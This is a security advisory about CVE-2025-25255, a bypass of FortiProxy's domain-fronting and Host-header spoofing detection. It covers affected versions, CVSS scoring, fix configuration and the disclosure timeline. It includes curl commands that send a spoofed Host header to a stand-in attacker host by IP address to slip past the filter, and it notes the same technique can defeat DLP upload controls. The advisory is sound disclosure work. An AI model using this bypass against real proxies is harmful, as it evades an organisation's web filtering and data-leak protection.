#############################################################
#
# COMPASS SECURITY ADVISORY
# https://www.compass-security.com/research/advisories/
#
#############################################################
#
# Product:  FortiProxy
# Vendor:   Fortinet
# CSNC ID:  CSNC-2025-009
# CVE ID:   CVE-2025-25255
# Subject:  FortiProxy Data Leak and Domain Fronting Protection Bypass
# Severity: Medium
# Impact:   Security Feature Bypass
# Author:   Emanuel Duss <emanuel.duss@compass-security.com>
# Date:     2025-10-15
#
#############################################################

Introduction
------------

FortiProxy is a web proxy solution from Fortinet that can be used for web
filtering, traffic inspection or Data Leakage Protection in enterprise networks
[0].

FortiProxy has a feature to detect and prevent domain fronting and Host header
spoofing. These are techniques used to bypass web filters and censorship. In
both methods, the a legitimate hostname inserted into either the SNI or HTTP
Host header to deceive the proxy into permitting requests to systems that would
otherwise be blocked.

More information about web filters and these techniques can be found in our web
filter bypass blog post series [1].

During a security assessment we found a bypass in this domain fronting
detection mechanism of FortiProxy (CVE-2025-25255) [2].


Affected
--------

Vulnerable software versions according to Fortinet [3]:

- FortiOS: 7.6.0 - 7.6.3
- FortiProxy: 7.6.0 - 7.6.3
- FortiProxy: 7.4 (all versions)
- FortiProxy: 7.2 (all versions)
- FortiProxy: 7.0.1 - 7.0.21


Technical Details
-----------------

FortiProxy detects domain fronting by comparing the destination hostname of the
SNI and of the HTTP Host header. If these do not match, the request is blocked.
This is of course only possible if the TLS session is intercepted and decrypted
by the proxy. Otherwise, the HTTP request headers cannot be accessed, due to
the TLS transport encryption.

For example, the following request to an attacker's system via the proxy is
blocked, because the spoofed legitimate hostname in the Host header does not
match the one attacker's one from the SNI:

    $ curl -k \
      --proxy http://proxy.corp.internal:8080 \
      -H "Host: legit.example.net" \
      https://attacker.example.com/
    [...]
    
    * Establish HTTP proxy tunnel to proxy.corp.internal (10.5.23.42:8080)
    > CONNECT attacker.example.com:443 HTTP/1.1
    > Host: attacker.example.com:443
    [...]
    
    < HTTP/1.1 200 Connection established
    [...]
    GET / HTTP/1.1
    Host: legit.example.net
    [...]
    
    [...]
    <h3>403 domain fronting blocked</h3>
    [...]

However, it's possible to bypass this filter, by just using the IP address of
the attacker's system instead of the hostname. The spoofed hostname in the Host
header is then used for the web filter rules and the access to the attacker's
system is allowed:

    $ curl -k \
      --proxy http://proxy.corp.internal:8080 \
      -H "Host: legit.example.net" \
      https://203.0.113.23/
    [...]
    
    * Establish HTTP proxy tunnel to proxy.corp.internal (10.5.23.42:8080)
    > CONNECT 203.0.113.23:443 HTTP/1.1
    > Host: 203.0.113.23:443
    [...]
    
    < HTTP/1.1 200 Connection established
    [...]
    GET / HTTP/1.1
    Host: legit.example.net
    [...]
    
    [...]
    <h1>Welcome to the attacker's website</h1>
    [...]

Using the IP address instead of the hostname, results in a missing SNI in the
server hello message. FortiProxy does then not correctly handle these requests
and allows the connection.

This attack can also be used to bypass DLP security profiles, by specifying a
hostname which is allowed for file uploads in the HTTP Host header in a request
to an attacker's system.


Vulnerability Classification
----------------------------

CVSS v3.1 Metrics [4]:

- CVSS Base Score: 5.3 (Medium)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N


Workaround / Fix
----------------

As a workaround, and general a more secure configuration, the option "Server
certificate SNI check" in the "SSL Inspection Options" should be set to
"Strict". This will then only allow connections where the hostname in the
Subject/SAN of the certificate matches the one from the SNI [5].

This is also explained in our blog post about domain fronting bypasses [5].

According to Fortinet [3], this issue is addressed in the following versions:

- FortiOS >= 7.6.4
- FortiProxy >= 7.6.4

The issue is however not fixed by default. To block Host header and SNI
mismatch when using domain or IP addresses, the `domain-fronting` option should
be set to the new introduced value `strict` [7]:

    config firewall profile-protocol-options
        edit "test"
            set comment "All default services."
            config http
                set ports 80
                unset options
                unset post-lang
                set domain-fronting strict <----- new option (not default)
            end
        end
    end

More information about this issue from Fortinet can be found in their
advisory [3].

The fix has not been verified by Compass. Additionally, it's important to note
that domain fronting can still be bypassed using HTTP/2, as stated in the
official documentation [7].


Timeline
--------

2024-08-19: Vulnerability discovered.
2024-08-22: Sent details to Fortinet. No response.
2024-09-03: Asked if report was received.
            Fortinet asked for more details.
2024-09-23: Asked for updates.
            Fortinet could reproduce the issue.
2024-10-07: Asked for updates. No response.
2024-11-18: Asked for updates.
2024-11-19: Fortinet recommends strict SNI checks and blocking requests to IP
            addresses [5].
2024-12-12: Asked for updates. No response.
2024-12-20: Asked for updates.
            Fortinet is addressing the issue.
2025-01-22: Asked for updates. No response.
2025-02-26: Asked for updates.
            Fortinet is still searching for a solution.
2025-03-12: Fortinet implemented fix for both FortiProxy and FortiOS.
            Fortinet assigned CVE-2025-25255 [2].
2025-07-03: Asked for updates.
2025-07-04: Fortinet implemented new domain-fronting option.
            Update is planned for end of July/beginning of August
2025-09-01: Asked for updates.
            Fixed FortiOS version 7.6.4 is already released without
            mention of the issue in the changelog.
            FortiProxy version will be released soon.
2025-09-16: Fixed FortiProxy version 7.6.4 is released.
2025-10-14: Fortinet published advisory [2].
2025-10-15: Publication of Compass advisory.


References
----------

[0] Fortinet FortiProxy: https://www.fortinet.com/de/products/secure-web-gateway/fortiproxy
[1] Bypassing Web Filters Blogpost Series:
    https://blog.compass-security.com/2025/03/bypassing-web-filters-part-1-sni-spoofing/
[2] CVE-2025-25255: https://nvd.nist.gov/vuln/detail/CVE-2025-25255
[3] FortiGuard Labs, PSIRT, Domain fronting protection bypass in explicit web proxy:
    https://www.fortiguard.com/psirt/FG-IR-24-372
[4] CVSSv3.1 Calculator:
    https://www.first.org/cvss/calculator/3-1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
[5] FortiGate documentation, Configuring SSL inspection profile:
    https://docs.fortinet.com/document/fortigate/7.6.0/administration-guide/709167/configuring-an-ssl-ssh-inspection-profile
[6] Bypassing Web Filters Part 4: Host Header Spoofing & Domain Fronting Detection Bypasses:
    https://blog.compass-security.com/2025/03/bypassing-web-filters-part-4-host-header-spoofing-domain-fronting-detection-bypasses/
[7] Updated FortiGate / FortiOS Administration Guide for version 7.6.4: Domain-Fronting:
    https://docs.fortinet.com/document/fortigate/7.6.4/administration-guide/639769/domain-fronting-protection